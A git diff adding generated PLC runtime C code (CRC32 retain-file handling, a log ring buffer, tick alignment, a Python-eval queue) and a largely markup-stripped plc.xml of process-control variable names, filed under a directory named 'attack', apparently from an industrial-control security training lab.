0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ +void align_tick(int sync_align_ratio) +{ + /* + printf("align_tick(%d)\n", calibrate); + */ + if(sync_align_ratio < 0){ /* Calibration */ + if(calibration_count == CALIBRATED) + /* Re-calibration*/ + calibration_count = NOT_CALIBRATED; + if(calibration_count == NOT_CALIBRATED) + /* Calibration start, get time*/ + PLC_GetTime(&cal_begin); + calibration_count++; + }else{ /* do alignment (if possible) */ + if(calibration_count >= 0){ + /* End of calibration */ + /* Get final time */ + IEC_TIME cal_end; + PLC_GetTime(&cal_end); + /*adjust calibration_count*/ + calibration_count++; + /* compute mean of Tsync, over calibration period */ + Tsync = ((long long)(cal_end.tv_sec - cal_begin.tv_sec) * (long long)1000000000 + + (cal_end.tv_nsec - cal_begin.tv_nsec)) / calibration_count; + if( (Nticks = (Tsync / common_ticktime__)) > 0){ + FreqCorr = (Tsync % common_ticktime__); /* to be divided by Nticks */ + }else{ + FreqCorr = Tsync - (common_ticktime__ % Tsync); + } + /* + printf("Tsync = %ld\n", Tsync); + printf("calibration_count = %d\n", calibration_count); + printf("Nticks = %d\n", Nticks); + */ + calibration_count = CALIBRATED; + } + if(calibration_count == CALIBRATED){ + /* Get Elapsed time since last PLC tick (__CURRENT_TIME) */ + IEC_TIME now; + long long elapsed; + long long Tcorr; + long long PhaseCorr; + long long PeriodicTcorr; + PLC_GetTime(&now); + elapsed = (now.tv_sec - __CURRENT_TIME.tv_sec) * 1000000000 + now.tv_nsec - __CURRENT_TIME.tv_nsec; + if(Nticks > 0){ + PhaseCorr = elapsed - (common_ticktime__ + FreqCorr/Nticks)*sync_align_ratio/100; /* to be divided by Nticks */ + Tcorr = common_ticktime__ + (PhaseCorr + FreqCorr) / Nticks; + if(Nticks < 2){ + /* When Sync source period is near Tick time */ + /* PhaseCorr may not be applied to Periodic time given to timer */ + PeriodicTcorr = common_ticktime__ + FreqCorr / Nticks; + }else{ + PeriodicTcorr = Tcorr; + } + }else if(__tick > last_tick){ + last_tick = __tick; + PhaseCorr = elapsed - (Tsync*sync_align_ratio/100); + PeriodicTcorr = Tcorr = common_ticktime__ + PhaseCorr + FreqCorr; + }else{ + /*PLC did not run meanwhile. Nothing to do*/ + return; + } + /* DO ALIGNEMENT */ + PLC_SetTimer(Tcorr - elapsed, PeriodicTcorr); + } + } +} + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o new file mode 100644 index 0000000..e22d7cc --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c new file mode 100644 index 0000000..1343d89 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.c @@ -0,0 +1,221 @@ +/* + * Python Asynchronous execution code + * + * PLC put python commands in a fifo, respecting execution order + * with the help of C pragmas inserted in python_eval FB code + * + * Buffer content is read asynchronously, (from non real time part), + * commands are executed and result stored for later use by PLC. + * + * In this implementation, fifo is a list of pointer to python_eval + * function blocks structures. Some local variables have been added in + * python_eval interface. We use those local variables as buffer and state + * flags. + * + * */ + +#include "iec_types_all.h" +#include "POUS.h" +#include + +/* The fifo (fixed size, as number of FB is fixed) */ +static PYTHON_EVAL* EvalFBs[1]; +/* Producer and consumer cursors */ +static int Current_PLC_EvalFB; +static int Current_Python_EvalFB; + +/* A global IEC-Python gateway state, for use inside python_eval FBs*/ +static int PythonState; +#define PYTHON_LOCKED_BY_PYTHON 0 +#define PYTHON_LOCKED_BY_PLC 1 +#define PYTHON_MUSTWAKEUP 2 +#define PYTHON_FINISHED 4 + +/* Each python_eval FunctionBlock have it own state */ +#define PYTHON_FB_FREE 0 +#define PYTHON_FB_REQUESTED 1 +#define PYTHON_FB_PROCESSING 2 +#define PYTHON_FB_ANSWERED 3 + +int WaitPythonCommands(void); +void UnBlockPythonCommands(void); +int TryLockPython(void); +void UnLockPython(void); +void LockPython(void); + +int __init_py_ext() +{ + int i; + /* Initialize cursors */ + Current_Python_EvalFB = 0; + Current_PLC_EvalFB = 0; + PythonState = PYTHON_LOCKED_BY_PYTHON; + for(i = 0; i < 1; i++) + EvalFBs[i] = NULL; + return 0; +} + +void __cleanup_py_ext() +{ + PythonState = PYTHON_FINISHED; + UnBlockPythonCommands(); +} + +void __retrieve_py_ext() +{ + /* Check Python thread is not being + * modifying internal python_eval data */ + PythonState = TryLockPython() ? + PYTHON_LOCKED_BY_PLC : + PYTHON_LOCKED_BY_PYTHON; + /* If python thread _is_ in, then PythonState remains PYTHON_LOCKED_BY_PYTHON + * and python_eval will no do anything */ +} + +void __publish_py_ext() +{ + if(PythonState & PYTHON_LOCKED_BY_PLC){ + /* If runnig PLC did push something in the fifo*/ + if(PythonState & PYTHON_MUSTWAKEUP){ + /* WakeUp python thread */ + UnBlockPythonCommands(); + } + UnLockPython(); + } +} +/** + * Called by the PLC, each time a python_eval + * FB instance is executed + */ +void __PythonEvalFB(int poll, PYTHON_EVAL* data__) +{ + if(!__GET_VAR(data__->TRIG)){ + /* ACK is False when TRIG is false, except a pulse when receiving result */ + __SET_VAR(data__->, ACK,, 0); + } + /* detect rising edge on TRIG to trigger evaluation */ + if(((__GET_VAR(data__->TRIG) && !__GET_VAR(data__->TRIGM1)) || + /* polling is equivalent to trig on value rather than on rising edge*/ + (poll && __GET_VAR(data__->TRIG) )) && + /* trig only if not already trigged */ + __GET_VAR(data__->TRIGGED) == 0){ + /* mark as trigged */ + __SET_VAR(data__->, TRIGGED,, 1); + /* make a safe copy of the code */ + __SET_VAR(data__->, PREBUFFER,, __GET_VAR(data__->CODE)); + } + /* retain value for next rising edge detection */ + __SET_VAR(data__->, TRIGM1,, __GET_VAR(data__->TRIG)); + + /* python thread is not in ? */ + if( PythonState & PYTHON_LOCKED_BY_PLC){ + /* if some answer are waiting, publish*/ + if(__GET_VAR(data__->STATE) == PYTHON_FB_ANSWERED){ + /* Copy buffer content into result*/ + __SET_VAR(data__->, RESULT,, __GET_VAR(data__->BUFFER)); + /* signal result presence to PLC*/ + __SET_VAR(data__->, ACK,, 1); + /* Mark as free */ + __SET_VAR(data__->, STATE,, PYTHON_FB_FREE); + /* mark as not trigged */ + if(!poll) + __SET_VAR(data__->, TRIGGED,, 0); + /*printf("__PythonEvalFB pop %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + }else if(poll){ + /* when in polling, no answer == ack down */ + __SET_VAR(data__->, ACK,, 0); + } + /* got the order to act ?*/ + if(__GET_VAR(data__->TRIGGED) == 1 && + /* and not already being processed */ + __GET_VAR(data__->STATE) == PYTHON_FB_FREE) + { + /* Enter the block in the fifo + * Don't have to check if fifo cell is free + * as fifo size == FB count, and a FB cannot + * be requested twice */ + EvalFBs[Current_PLC_EvalFB] = data__; + /* copy into BUFFER local*/ + __SET_VAR(data__->, BUFFER,, __GET_VAR(data__->PREBUFFER)); + /* Set ACK pin to low so that we can set a rising edge on result */ + if(!poll){ + /* when not polling, a new answer imply reseting ack*/ + __SET_VAR(data__->, ACK,, 0); + }else{ + /* when in polling, acting reset trigger */ + __SET_VAR(data__->, TRIGGED,, 0); + } + /* Mark FB busy */ + __SET_VAR(data__->, STATE,, PYTHON_FB_REQUESTED); + /* Have to wakeup python thread in case he was asleep */ + PythonState |= PYTHON_MUSTWAKEUP; + /*printf("__PythonEvalFB push %d - %*s\n",Current_PLC_EvalFB, data__->BUFFER.len, data__->BUFFER.body);*/ + /* Get a new line */ + Current_PLC_EvalFB = (Current_PLC_EvalFB + 1) % 1; + } + } +} + +char* PythonIterator(char* result, void** id) +{ + char* next_command; + PYTHON_EVAL* data__; + //printf("PythonIterator result %s\n", result); + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + /* take python mutex to prevent changing PLC data while PLC running */ + LockPython(); + /* Get current FB */ + data__ = EvalFBs[Current_Python_EvalFB]; + if(data__ && /* may be null at first run */ + __GET_VAR(data__->STATE) == PYTHON_FB_PROCESSING){ /* some answer awaited*/ + /* If result not None */ + if(result){ + /* Get results len */ + __SET_VAR(data__->, BUFFER, .len, strlen(result)); + /* prevent results overrun */ + if(__GET_VAR(data__->BUFFER, .len) > STR_MAX_LEN) + { + __SET_VAR(data__->, BUFFER, .len, STR_MAX_LEN); + /* TODO : signal error */ + } + /* Copy results to buffer */ + strncpy((char*)__GET_VAR(data__->BUFFER, .body), result, __GET_VAR(data__->BUFFER,.len)); + }else{ + __SET_VAR(data__->, BUFFER, .len, 0); + } + /* remove block from fifo*/ + EvalFBs[Current_Python_EvalFB] = NULL; + /* Mark block as answered */ + __SET_VAR(data__->, STATE,, PYTHON_FB_ANSWERED); + /* Get a new line */ + Current_Python_EvalFB = (Current_Python_EvalFB + 1) % 1; + //printf("PythonIterator ++ Current_Python_EvalFB %d\n", Current_Python_EvalFB); + } + /* while next slot is empty */ + while(((data__ = EvalFBs[Current_Python_EvalFB]) == NULL) || + /* or doesn't contain command */ + __GET_VAR(data__->STATE) != PYTHON_FB_REQUESTED) + { + UnLockPython(); + /* wait next FB to eval */ + //printf("PythonIterator wait\n"); + if(WaitPythonCommands()) return NULL; + /*emergency exit*/ + if(PythonState & PYTHON_FINISHED) return NULL; + LockPython(); + } + /* Mark block as processing */ + __SET_VAR(data__->, STATE,, PYTHON_FB_PROCESSING); + //printf("PythonIterator\n"); + /* make BUFFER a null terminated string */ + __SET_VAR(data__->, BUFFER, .body[__GET_VAR(data__->BUFFER, .len)], 0); + /* next command is BUFFER */ + next_command = (char*)__GET_VAR(data__->BUFFER, .body); + *id=data__; + /* free python mutex */ + UnLockPython(); + /* return the next command to eval */ + return next_command; +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o new file mode 100644 index 0000000..79ca9f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/py_ext.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml new file mode 100644 index 0000000..b63b42a --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/plc.xml @@ -0,0 +1,5687 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_setpoint + + + + + + + a_in_purge + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_sp + + + + + + + + + + + + + f2_valve_sp + + + + + + + pressure_sp + + + + + + + pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_valve_pos + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_valve_pos + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_valve_pos + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_valve_pos + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f1_flow + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + f2_flow + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + purge_flow + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_flow + + + + + + + + + + + + + hmi_product_flow + + + + + + + f1_valve_pos + + + + + + + f2_valve_pos + + + + + + + purge_valve_pos + + + + + + + + + + + + + purge_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure + + + + + + + flow_set + + + + + + + override_sp + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level + + + + + + + level_sp + + + + + + + product_valve_pos + + + + + + + + + + + + + product_valve_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + first_run + + + + + + + + + + + a_setpoint + + + + + + + + + + + + + flow_set + + + + + + + + + + + + + pressure_sp + + + + + + + + + + + + + override_sp + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + 